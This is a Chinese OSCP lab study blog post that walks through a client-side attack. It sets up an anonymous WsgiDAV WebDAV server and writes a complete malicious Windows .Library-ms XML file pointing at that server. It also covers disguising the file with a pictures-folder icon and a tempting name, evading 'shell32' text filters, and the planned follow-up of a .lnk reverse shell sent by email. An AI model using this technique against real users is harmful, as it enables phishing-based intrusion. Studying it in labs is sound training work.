当前位置: 首页 > news >正文

6-5〔O҉S҉C҉P҉ ◈ 研记〕❘ 客户端攻击▸利用Windows库文件进行攻击-1

      郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。 

    💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥 
     更多文章戳👉
晖度丨安全视界-CSDN博客🚀(原名:whoami!)​​​​​

​​​​​​


𖤐 客户端攻击通常是欺骗用户在操作系统上执行恶意代码,小心啊 ! 

𖤐 𝓒𝓵𝓲𝓮𝓷𝓽-𝓼𝓲𝓭𝓮 𝓪𝓽𝓽𝓪𝓬𝓴𝓼 𝓾𝓼𝓾𝓪𝓵𝓵𝔂 𝓽𝓻𝓲𝓬𝓴 𝓾𝓼𝓮𝓻𝓼 𝓲𝓷𝓽𝓸 𝓮𝓍𝓮𝓬𝓾𝓽𝓲𝓷𝓰 𝓶𝓪𝓵𝓲𝓬𝓲𝓸𝓾𝓼 𝓬𝓸𝓭𝓮 𝓸𝓷 𝓽𝓱𝓮 𝓸𝓹𝓮𝓻𝓪𝓽𝓲𝓷𝓰 𝓼𝔂𝓼𝓽𝓮𝓶, 𝓼𝓸 𝓫𝓮 𝓬𝓪𝓻𝓮𝓯𝓾𝓵 !


→ 信息收集

→ 漏洞检测

→ 初始立足点▸客户端攻击▸利用Windows库文件进行攻击-1-----我们在这儿~ 🔥🔥🔥

→ 权限提升 

→ 横向移动

→ 报告/分析

→ 教训/修复  

目录

1 客户端攻击

1.2 利用Windows库文件进行客户端攻击

1.2.1 创建库文件并可链接到WebDAV共享目录

1.2.1.1 WebDAV服务器搭建

1.安装WsgiDAV

2.创建WebDAV共享目录结构

1.2.1.2 启动WebDAV服务

1.2.1.3 创建Windows库文件(.Library-ms)

1.远程连接到Windows主机

2.库文件创建

1.2.1.4 编写Windows库文件内容(重点)

1.通用库信息

2.库属性

3.库位置

1.2.1.5 库文件功能验证

1.2.1.6 注意:每次发送库文件时,还原库文件代码

1.Windows自动修改行为

2.解决方案:文件重置策略

1.2.2 后续攻击说明

💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬


1 客户端攻击

1.2 利用Windows库文件进行客户端攻击

1.2.1 创建库文件并可链接到WebDAV共享目录

        本实验演示:搭建WebDAV共享服务器并创建恶意的Windows库文件,并让库文件链接到WebDAV共享目录,用于后续的安全测试和攻击演示。

📋 实验步骤总览

步骤内容工具/技术目标
1搭建WebDAV共享服务器WsgiDAV + Kali Linux创建文件共享环境
2配置WebDAV共享目录文件系统配置共享目录放置.lnk文件共享
3创建Windows库文件Visual Studio Code制作恶意.Library-ms文件
4文件伪装图标替换增强文件诱惑性
1.2.1.1 WebDAV服务器搭建
1.安装WsgiDAV
# 使用pip3安装WsgiDAV
pip3 install wsgidav# 如果出现externally-managed-environment错误,使用以下命令
pip3 install wsgidav --break-system-packages

⚠️ 注意--break-system-packages参数仅在遇到权限错误时使用

2.创建WebDAV共享目录结构
# 创建WebDAV共享根目录(路径)
mkdir /home/kali/webdav# 在目录中放置测试文件
echo "This is a test file" > /home/kali/webdav/test.txt


1.2.1.2 启动WebDAV服务
/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/

参数详解表

参数作用说明
--host0.0.0.0监听所有网络接口,允许外部访问
--port80使用HTTP标准端口提供服务
--authanonymous匿名认证,无需登录验证
--root/home/kali/webdav/设置共享根目录路径

服务验证

  • 在浏览器中访问:http://127.0.0.1

  • 预期结果:能够看到test.txt文件并成功访问

  • 后续:用于放置.lnk文件,用于给访问者下载


1.2.1.3 创建Windows库文件(.Library-ms)
1.远程连接到Windows主机

        远程连接到Windows主机,将在这台机器上创建库文件、快捷方式文件。

# 使用RDP连接Windows客户端
xfreerdp /v:192.168.50.194 /u:offsec /p:lab
2.库文件创建
  • 打开Visual Studio Code

    • 双击桌面VSC图标启动应用程序

  • 创建新文件

    • 菜单选择:文件 > 新建文本文件

  • 保存为库文件

    • 文件名:config.Library-ms

    • 保存位置:offsec用户桌面

备注:也可以使用记事本来创建,然后格式改为Library-ms。

文件伪装技巧

🔍 观察:默认.Library-ms文件图标较为普通,可能引起用户怀疑。如下图:

伪装策略

  • 更改文件图标为常见文档类型图标

  • 使用诱人的文件名(如:工资单.Library-ms

  • 放置在合理的目录位置


1.2.1.4 编写Windows库文件内容(重点)

        库文件的介绍,详见上一篇文章:6-4〔O҉S҉C҉P҉ ◈ 研记〕❘ 客户端攻击▸利用Windows库文件攻击概述

        Windows库文件(.Library-ms)通过XML格式定义,包含三个核心部分:

组件部分功能作用攻击利用价值
通用库信息定义文件命名空间和基本结构建立合法的文件框架
库属性设置显示名称、图标、固定状态增强伪装效果,欺骗用户
库位置指定远程WebDAV连接参数核心攻击载荷,连接远程服务器
1.通用库信息

     库文件的命名空间。从Windows 7开始的库文件版本的命名空间。列表还包含库描述的闭合标签。我们将在libraryDescription标签内添加以下所有标签。

2.库属性

     ①添加库文件名称、版本标签:
     name标签:
指定这个库的名称。我们不能将其与我们随意设置的任意名称混淆。因为要使用系统DLL资源引用,因此需要通过提供DLL名称和索引来指定库的名称。我们使用在Microsoft网站上指定的@shell32.dll,-34575或@windows.storage.dll,-34582。我们将使用后者,以避免任何基于文本的过滤器可能会标记“shell32”的问题。
     version标签:设置为我们选择的数值,例如6。

     ②加isLibraryPinned标签:
     
该标签指定库是否固定在Windows资源管理器的导航窗格中。对于我们来说,这使整个过程更真实,即:看起来像是在本地打开的Windows资源管理器的样式。因此,设置为true

     ③添加iconReference标签
    该标签确定显示库文件的图标。必须以与名称元素相同的格式指定值。可使用imageres.dll来选择所有Windows图标,使用索引“-1002”来选择用户主目录下的Documents文件夹图标,或者使用索引“-1003”来选择Pictures文件夹图标。我们使用后者,使其看起来更加逼真(友好)。

     添加templateInfo标签:其中包含folderType标签
     该标签决定在打开Windows资源管理器后默认显示的列和详细信息库。我们需要指定一个GUID:可在Microsoft文档网页上查找。本例中使用DocumentsGUID(设置默认视图模板以尽可能地让目标相信。

库属性配置总结:

XML标签设置值技术说明攻击用途
<name>@windows.storage.dll,-34582使用系统DLL资源引用规避文本检测,避免"shell32"触发安全警报
<version>6库文件版本号保持与系统兼容性
<isLibraryPinned>true固定在导航窗格增强真实性,模仿用户常用库
<iconReference>@imageres.dll,-1003使用图片文件夹图标视觉欺骗,让文件看起来无害
<folderType>Documents的GUID设置默认视图模板模仿文档库行为特征
3.库位置

      这部分,指定了库文件应该指向的存储位置(WebDAV服务器地址)。

     ①添加searchConnectorDescriptionList标签:
     
其中包含由searchConnectorDescription定义的搜索连接器:被库文件用于指定到远程位置的连接设置。
    
可以在searchConnectorDescriptionList标签内指定一个或多个searchConnectorDescription。本例,我们只指定一个。(如果库文件要包含其他文件时需要添加其他访问链接。)

     ②添加searchConnectorDescription标签:
     在搜索连接器的描述中,将指定我们的WebDAV共享的信息和参数
     添加的第一个标签:isDefaultSaveLocation标签,其值设置为true。这个标签决定当用户选择保存项目时,设为默认保存位置:Windows资源管理器的行为。
     添加的第二个标签:isSupported标签,兼容性设置,避免系统警告提示可将其设置为false。
    添加的第三个标签:最重要的标签是url。将其指向之前创建的WebDAV共享并通过HTTP。它包含在simpleLocation标签中。

库位置配置总结:

XML标签设置值功能作用攻击意义
<isDefaultSaveLocation>true设为默认保存位置诱导用户操作,增加接触机会
<isSupported>false兼容性设置避免系统警告提示
<url>http://[Kali_IP]/WebDAV服务器地址攻击连接点,指向恶意文件源

把以上所有的代码复制到之前新建的库文件中,并保存。

<!-- 🏷️ 通用库信息配置 -->
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library"><!-- 🏷️ 库属性配置 --><name>@windows.storage.dll,-34582</name><version>6</version><isLibraryPinned>true</isLibraryPinned><iconReference>@imageres.dll,-1003</iconReference><templateInfo><folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType></templateInfo><!-- 🏷️ 库位置配置 --><searchConnectorDescriptionList><searchConnectorDescription><isDefaultSaveLocation>true</isDefaultSaveLocation><isSupported>false</isSupported><simpleLocation><url>http://192.168.50.128/</url></simpleLocation></searchConnectorDescription></searchConnectorDescriptionList><!-- 🏷️ 通用库信息闭合标签 -->  
</libraryDescription>    


1.2.1.5 库文件功能验证

        验证目标:完成库文件编辑和保存后,双击库文件时就自动打开远程的WebDAV共享目录,就像在浏览器输入url访问那样,但样式变成更加迷惑人的。

        测试执行步骤:

  • 双击打开 config.Library-ms 文件(图片的图标)

  • 观察结果:使用Windows资源管理器正常打开(其实是http协议,只是显示Windows资源管理器样式)。就好像打开了本地的Windows资源管理器那样令人安心

  • 验证内容:成功显示WebDAV服务器上共享中的test.txt文件

攻击效果评估:

测试项目预期效果实际结果评估
文件打开无安全警告✅ 正常打开优秀
远程连接透明连接WebDAV✅ 成功加载优秀
路径显示隐藏远程痕迹✅ 只显示"config"完美
用户体验与本地文件夹无差异✅ 完全一致优秀

1.2.1.6 注意:每次发送库文件时,还原库文件代码
1.Windows自动修改行为

Windows库文件重新打开(第二次)时,Windows系统会自动对其进行两处关键修改:

修改位置原始状态自动修改后状态影响分析
新增标签<serialized>标签自动添加包含Base64编码的<serialized>标签🚨 可能导致跨系统兼容性问题
URL格式http://192.168.119.2/\\192.168.119.2\DavWWWRoot🔄 Windows资源管理器显示一个空的WebDAV共享

技术原因分析:

  • Windows优化机制:系统尝试优化WebDAV客户端连接性能

  • 路径转换:将HTTP URL转换为UNC路径格式

  • 状态序列化:通过Base64编码保存连接状态信息

2.解决方案:文件重置策略

      就是重置回原来的代码即可,每次执行Windows库文件时都需要这样做。

检查项重置前(问题状态)重置后(正常状态)重要性
<serialized>标签❌ 存在✅ 不存在🔴 关键
URL格式❌ UNC路径✅ HTTP URL🔴 关键
跨计算机兼容性❌ 可能失败✅ 保证工作🟡 重要
WebDAV连接⚠️ 可能空共享✅ 正常加载🔴 关键

💡 关键洞察:虽然每次都要重置,但是对于单一受害者,只需要其双击文件一次即可。


1.2.2 后续攻击说明

  • 🐚 载荷部署:在WebDAV共享目录放置恶意快捷方式文件(实现反向shell)

  • 📧 邮件投递:将库文件作为附件发送

  • 🎣 诱导执行:通过社会工程学诱导用户点击(执行)

  • 🔙 建立连接:成功获取反向shell

接下来文章中进行说明以上的后续内容。


💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!

http://www.dtcms.com/a/573758.html

相关文章:

  • 用Python和Telegram API构建一个消息机器人
  • 的建站公司绵阳吉工建设
  • 个人网站设计摘要给公司做一个网站流程
  • serde
  • 用品牌重塑秩序:短信LOGO认证打造沟通信任链
  • 网站板块策划南昌做网站和微信小程序的公司
  • 全网普盖网站建设河南asp
  • 解决 GitLab Token 轮换后 SourceTree 认证失败问题
  • SpringBoot项目实现国际化
  • Jupyter Notebook 完整安装指南
  • XPath进阶:复杂嵌套结构与条件查询的终极指南
  • Oracle AWR案例分析: 诊断‘enq: TX - row lock contention‘等待事件
  • 【云运维】Zabbix 6.0 基于 LNMP 架构部署指南
  • 企业做网站要注意些什么问题大宗交易平台查询
  • 网站安全的必要性做电影网站违法吗
  • EtherCAT、PROFINET、EtherNet/IP和Modbus TCP主要区别
  • 电脑误格式化误删除如何通过数据恢复软件免费版搭建数据恢复中心
  • 如何平衡 ToB 产品中不同客户的需求
  • 基础数据结构之数组的前缀和技巧:和为K的子数组(LeetCode 560 中等题)
  • 【基础排序】CF - 最优排列Permutator
  • [RE2] Prog对象(字节码) | Inst指令序列 | 字节映射和指令扁平化
  • 灰系网站网站运营设计
  • C++ STL::vector底层剖析
  • 多线程环境下,线程安全单例模式的方案避坑
  • 深度学习-卷积神经网络LeNet
  • Ubuntu误删libaudit.so.1 导致系统无法正常使用、崩溃
  • 【深度学习5】多层感知机
  • 通过fluent HEC 来发送数据到splunk
  • 二叉树深度解析:核心概念与算法实现
  • 考研408--操作系统--day3--调度调度算法